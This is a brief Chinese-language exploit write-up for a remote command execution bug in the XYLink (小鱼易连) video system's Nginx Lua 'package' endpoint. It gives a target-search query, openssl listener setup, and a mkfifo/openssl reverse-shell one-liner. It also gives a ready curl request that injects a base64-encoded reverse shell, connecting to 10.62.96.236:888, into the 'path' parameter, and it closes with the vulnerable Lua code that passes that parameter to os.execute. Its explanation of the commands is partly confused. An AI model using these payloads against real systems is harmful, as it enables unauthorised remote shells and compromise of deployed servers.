小鱼易连视频系统-Nginx LUA脚本远程命令执行

title="云视讯管理平台"

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

openssl s_server -quiet -key key.pem -cert cert.pem -port 443

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect <IP>:<PORT> > /tmp/s; rm /tmp/s

命令解释：1.mkfifo是创建一个命名管道，创建好了以后/tmp/s内容是空的2.然后不断执行那个bash反弹的命令，连接的地址从步骤1的文件里取3.找那个443连接往步骤1里的文件写入内容，估计是ip和端口4.最后shell弹好了就删除步骤1的文件

curl：curl "http://ip/package?path=`echo bWtmaWZvIC90bXAvczsvYmluL2Jhc2ggLWkgPCAvdG1wL3MgMj4mMXxvcGVuc3NsIHNfY2xpZW50IC1xdWlldCAtY29ubmVjdCAxMC42Mi45Ni4yMzY6ODg4ID4gL3RtcC9zO3JtIC1mIC90bXAvcw== | base64 -d | sh`"

http://ip/package?path=echo bWtmaWZvIC90bXAvczsvYmluL2Jhc2ggLWkgPCAvdG1wL3MgMj4mMXxvcGVuc3NsIHNfY2xpZW50IC1xdWlldCAtY29ubmVjdCAxMC42Mi45Ni4yMzY6ODg4ID4gL3RtcC9zO3JtIC1mIC90bXAvcw== | base64 -d | sh

netstat -anvp | grep :80

tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      16554/nginx: mas

 find / -name nginx

 docker ps | grep openresty

b61e91356e49    "/usr/local/openresty" 

location = /package {                proxy_set_header Host $host:$server_port;                proxy_set_header X-Real-IP $remote_addr;                proxy_set_header X-Nginx-IP $server_addr;                limit_req zone=normalfrequ burst=20 nodelay;                content_by_lua_file lua/package.lua;          }

local package_absolute_path = '/var/log/logs.tar.gz'local path = ngx.req.get_uri_args().pathif nil == path then    path = '/logs'end
os.execute('rm -rf ' .. package_absolute_path)os.execute('tar -zcvPf ' .. package_absolute_path .. ' ' .. path)ngx.redirect('/log/logs.tar.gz?' .. os.time())print('rm -rf ' .. package_absolute_path)os.execute('rm -rf ' .. package_absolute_path)return